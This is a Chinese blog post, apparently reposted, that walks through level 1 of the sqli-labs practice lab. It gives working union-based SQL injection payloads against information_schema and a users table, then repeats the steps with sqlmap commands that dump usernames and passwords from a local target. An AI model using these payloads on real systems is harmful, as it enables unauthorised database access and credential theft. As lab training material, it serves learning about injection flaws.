自学内容网 自学内容网

sqli-labs(第一关)

前言:

各位,我准备最近把靶场练一下,看看别人的payload,跟着别人学一下怎么实战。我用的靶场是sqli-labs。

正文:

第一关:
(1)找注入点:
在这里插入图片描述
刚开始界面是这样的,然后题目说了,输入ID,那不出意外id应该就是注入点,试一下。

?id=1'
?id=1''

在这里插入图片描述
(2)没错了,差不多就是这个点,找列

?id=1' order by 3 --+

在这里插入图片描述
说明三列。(数字3试出来的,输入2报错,输入3不报错,输入4报错,说明是3列)
(3)查数据库名字

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

首先说一个问题,id为什么等于-1不等于1,是因为如果id=1 前半句就为真了因为数据库里真有id=1的数据,所以就会返回id=1的那一条数据,如果等于-1,则前半句为假,就会继续执行后半句,然后会返回给我们数据库的名字。
其次,这条语句查询的是我电脑里所有数据库的名字,每个人查询的结果肯定不同,但是肯定都有一个数据库security,这个数据库是我们靶场使用的数据库名字。
在这里插入图片描述

information_schema,
big_event,
books,
challenges,
db_dorm,
db_select_course,
db_weibo,
dvwa,
hrs,
jdbc,
mysql,
network,
performance_schema,
security,
sys,
test,
videoteach,
wifiremen.

(4)查数据库中的表的名字

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

在这里插入图片描述

(5)查users表

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
(6)查users表中的值

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+

在这里插入图片描述

下面用SQLMAP跑一遍:

(1)测注入点:

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1

在这里插入图片描述
(2)测数据库名

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 --dbs

在这里插入图片描述
(3)测表名

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 -D security --tables

在这里插入图片描述
(4)测列名

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

在这里插入图片描述
(5)测数据:

sqlmap.py -u http://localhost/sqli-labs/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,password,username --dump

在这里插入图片描述

结束结束,完美简直。


原文地址:https://blog.csdn.net/kun12343/article/details/143515871

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!